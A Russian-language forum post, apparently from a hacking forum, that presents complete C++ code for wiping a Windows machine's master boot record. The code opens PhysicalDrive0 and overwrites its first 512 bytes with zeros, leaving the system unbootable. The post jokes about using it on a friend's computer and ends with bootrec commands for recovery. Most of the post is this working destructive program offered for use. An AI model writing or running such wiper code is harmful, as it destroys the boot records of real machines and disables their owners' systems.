advertising advertising advertising advertising advertising advertising advertising advertising advertising advertising advertising

C++ | cнос MBR

Tartuga

Местный
Регистрация
19.12.2019
Сообщения
101
Реакции
22
Сегодня напишем небольшую прогу для сноса MBR(главная загрузочная запись) с компа вашего друга(нет). Функция MBR — «переход» в тот раздел жёсткого диска, с которого следует исполнять «дальнейший код» (обычно — загрузка ОС). На стадии MBR происходит выбор раздела диска.

В процессе запуска компьютера, после окончания начального теста (Power-on self-test — POST), базовая система ввода-вывода (BIOS) загружает код MBR в оперативную память и передаёт управление находящемуся в MBR загрузочному коду.

Вообщем-то и хватит теоретических справок, давайте уже перейдем к коду

#include <iostream>
#include <windows.h>

using namespace std;

#define MBR_SIZE 512

int main()
{
DWORD write;
char mbrData[MBR_SIZE]; //Размер mbr - 512 байт. Они будут нами перезаписаны.
ZeroMemory(&mbrData, (sizeof mbrData)); //Заполняем блок памяти нулями.
HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);

/* Мы открываем на запись и чтение наш раздел с MBR. Ниже записываем все в MBR */

if (WriteFile(MasterBootRecord, mbrData, MBR_SIZE, &write, NULL) == TRUE)
{
cout << "MBR is over written!" << endl;
Sleep(5000);
ExitProcess(0);
}
else
{
cout << "Failed" << endl;
Sleep(5000);
ExitProcess(0);
}

CloseHandle(MasterBootRecord);

return EXIT_SUCCESS;
}

Вот, что получилось)

Скомпилируем и запустим.

После чего перезапускаемся и смотрим на результат.


Видим, что система не может найти раздел MBR. Из-за того, что невозможно считать информацию из первых 512 байт харда, система отказывается запускаться.

Восстановление

Грузимся в режиме Troubleshoot (командной строки) (при загрузке f8) и поочередно выполняем:

bootrec /FixMbr

bootrec /FixBoot

Эти команды заново запишут раздел жесткого диска, и всё должно после этого работать.
 
Верх